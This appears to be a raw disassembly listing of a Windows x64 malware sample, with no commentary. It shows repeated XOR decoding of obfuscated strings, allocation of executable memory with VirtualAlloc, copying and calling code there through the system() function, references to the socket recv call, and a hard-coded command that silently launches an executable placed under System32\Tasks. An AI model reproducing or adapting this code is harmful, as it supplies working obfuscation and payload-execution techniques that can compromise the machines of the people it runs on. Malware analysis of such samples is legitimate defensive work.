movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14018d738]
mov qword [rsi + rax*8 + 0x18da70], r14
mov qword [rsi + rax*8 + 0x18d740], r8
inc rax
mov qword [0x14018d738], rax
lea rdx, [rsp + 0x278]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
mov rcx, qword [rsp + 0x490]
xor rcx, qword [rsp + 0x498]
mov rax, qword [rsp + 0x4a0]
mov qword [rax], rcx
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rbx, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x1a2]
call fcn.140048890
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140040852
mov r8d, r13d
cmp r15d, 2
jl 0x14004081b
mov edx, r13d
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov r8d, dword [rsp + 0x70]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140040730
jmp 0x140040852
mov r9, r10
nop
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140040820
mov r8, rbx
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
mov rcx, rax
call fcn.14004aa30
mov qword [rsp + 0x280], rax
mov edx, Ordinal_26
lea rcx, [rsp + 0x490]
call fcn.14003e780
lea rdx, [rsp + 0x868]
lea rcx, [rsp + 0x490]
call fcn.14003dfe0
nop
mov ecx, r13d
mov rax, qword [0x14018da70]
test rax, rax
je 0x1400408d9
mov rdx, r13
cmp rax, r14
je 0x1400408c8
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x18da70]
test rax, rax
jne 0x1400408b0
jmp 0x1400408d9
mov r8, qword [rsi + rdx*8 + 0x18d740]
test r8, r8
jne 0x1400409bf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140040902
mov r8, r13
jmp 0x14004099e
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140040910
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14018d738]
mov qword [rsi + rax*8 + 0x18da70], r14
mov qword [rsi + rax*8 + 0x18d740], r8
inc rax
mov qword [0x14018d738], rax
lea rdx, [rsp + 0x280]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
lea rcx, [rsp + 0x490]
call fcn.14003e010
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x328]
call fcn.140049860
mov rdi, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rbx, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x1a3]
call fcn.1400488d0
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140040b92
mov r8d, r13d
cmp r15d, 2
jl 0x140040b5b
mov edx, r13d
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov r8d, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140040a70
jmp 0x140040b92
mov r9, r10
nop
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140040b60
mov r8, rbx
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
mov rcx, rax
call fcn.14004aa30
mov qword [rsp + 0x288], rax
mov edx, Ordinal_26
lea rcx, [rsp + 0x490]
call fcn.14003e780
lea rdx, [rsp + 0x868]
lea rcx, [rsp + 0x490]
call fcn.14003dfe0
nop
mov ecx, r13d
mov rax, qword [0x14018da70]
test rax, rax
je 0x140040c19
mov rdx, r13
cmp rax, r14
je 0x140040c08
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x18da70]
test rax, rax
jne 0x140040bf0
jmp 0x140040c19
mov r8, qword [rsi + rdx*8 + 0x18d740]
test r8, r8
jne 0x140040cff
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140040c42
mov r8, r13
jmp 0x140040cde
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140040c50
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14018d738]
mov qword [rsi + rax*8 + 0x18da70], r14
mov qword [rsi + rax*8 + 0x18d740], r8
inc rax
mov qword [0x14018d738], rax
lea rdx, [rsp + 0x288]
mov rcx, qword [rdi]
call r8
nop
lea rcx, [rsp + 0x490]
call fcn.14003e010
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x330]
call fcn.140049860
mov rdi, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rbx, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x1a4]
call fcn.140048910
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140040ed2
mov r8d, r13d
cmp r15d, 2
jl 0x140040e9b
mov edx, r13d
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov r8d, dword [rsp + 0x70]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140040db0
jmp 0x140040ed2
mov r9, r10
nop
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140040ea0
mov r8, rbx
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
mov rcx, rax
call fcn.14004aa30
mov qword [rsp + 0x290], rax
mov edx, Ordinal_26
lea rcx, [rsp + 0x490]
call fcn.14003e780
lea rdx, [rsp + 0x868]
lea rcx, [rsp + 0x490]
call fcn.14003dfe0
nop
mov ecx, r13d
mov rax, qword [0x14018da70]
test rax, rax
je 0x140040f59
mov rdx, r13
cmp rax, r14
je 0x140040f48
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x18da70]
test rax, rax
jne 0x140040f30
jmp 0x140040f59
mov r8, qword [rsi + rdx*8 + 0x18d740]
test r8, r8
jne 0x14004103f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140040f82
mov r8, r13
jmp 0x14004101e
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140040f90
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14018d738]
mov qword [rsi + rax*8 + 0x18da70], r14
mov qword [rsi + rax*8 + 0x18d740], r8
inc rax
mov qword [0x14018d738], rax
lea rdx, [rsp + 0x290]
mov rcx, qword [rdi]
call r8
nop
lea rcx, [rsp + 0x490]
call fcn.14003e010
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x338]
call fcn.140049860
mov rdi, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rbx, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x1a6]
call fcn.140048950
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140041212
mov r8d, r13d
cmp r15d, 2
jl 0x1400411db
mov edx, r13d
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov r8d, dword [rsp + 0x70]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x1400410f0
jmp 0x140041212
mov r9, r10
nop
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x1400411e0
mov r8, rbx
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
mov rcx, rax
call fcn.14004aa30
mov qword [rsp + 0x298], rax
mov edx, Ordinal_26
lea rcx, [rsp + 0x490]
call fcn.14003e780
lea rdx, [rsp + 0x868]
lea rcx, [rsp + 0x490]
call fcn.14003dfe0
nop
mov ecx, r13d
mov rax, qword [0x14018da70]
test rax, rax
je 0x140041299
mov rdx, r13
cmp rax, r14
je 0x140041288
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x18da70]
test rax, rax
jne 0x140041270
jmp 0x140041299
mov r8, qword [rsi + rdx*8 + 0x18d740]
test r8, r8
jne 0x14004137f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400412c2
mov r8, r13
jmp 0x14004135e
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400412d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14018d738]
mov qword [rsi + rax*8 + 0x18da70], r14
mov qword [rsi + rax*8 + 0x18d740], r8
inc rax
mov qword [0x14018d738], rax
lea rdx, [rsp + 0x298]
mov rcx, qword [rdi]
call r8
nop
lea rcx, [rsp + 0x490]
call fcn.14003e010
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x358]
call fcn.140049860
mov rdi, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rbx, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x1a7]
call fcn.140048990
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140041552
mov r8d, r13d
cmp r15d, 2
jl 0x14004151b
mov edx, r13d
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov r8d, dword [rsp + 0x70]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140041430
jmp 0x140041552
mov r9, r10
nop
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140041520
mov r8, rbx
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.14004b960
nop
mov rcx, rax
call fcn.14004aa30
mov qword [rsp + 0x2a0], rax
mov edx, Ordinal_26
lea rcx, [rsp + 0x490]
call fcn.14003e780
lea rdx, [rsp + 0x868]
lea rcx, [rsp + 0x490]
call fcn.14003dfe0
nop
mov ecx, r13d
mov rax, qword [0x14018da70]
test rax, rax
je 0x1400415d9
mov rdx, r13
cmp rax, r14
je 0x1400415c8
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x18da70]
test rax, rax
jne 0x1400415b0
jmp 0x1400415d9
mov r8, qword [rsi + rdx*8 + 0x18d740]
test r8, r8
jne 0x1400416bf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140041602
mov r8, r13
jmp 0x14004169e
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140041610
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14018d738]
mov qword [rsi + rax*8 + 0x18da70], r14
mov qword [rsi + rax*8 + 0x18d740], r8
inc rax
mov qword [0x14018d738], rax
lea rdx, [rsp + 0x2a0]
mov rcx, qword [rdi]
call r8
nop
lea rcx, [rsp + 0x490]
call fcn.14003e010
nop
lea rcx, [rsp + 0xb0]
call fcn.14004aa60
nop
lea rcx, [rsp + 0x90]
call fcn.14004aa60
lea rcx, str.cmd__C_C:WindowsSystem32Taskswinxsrcsv64.EXE__SU_AUTO__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x340]
call fcn.140049860
mov rdi, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x90]
call fcn.14003e300
mov rbx, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x1a8]
call fcn.1400489d0
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140041892
mov r8d, r13d
cmp r15d, 2
jl 0x14004185c
mov edx, r13d
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
mov r8d, dword [rsp + 0x70]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm12
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm12
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140041771
jmp 0x140041892
mov r9, r10
nop
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
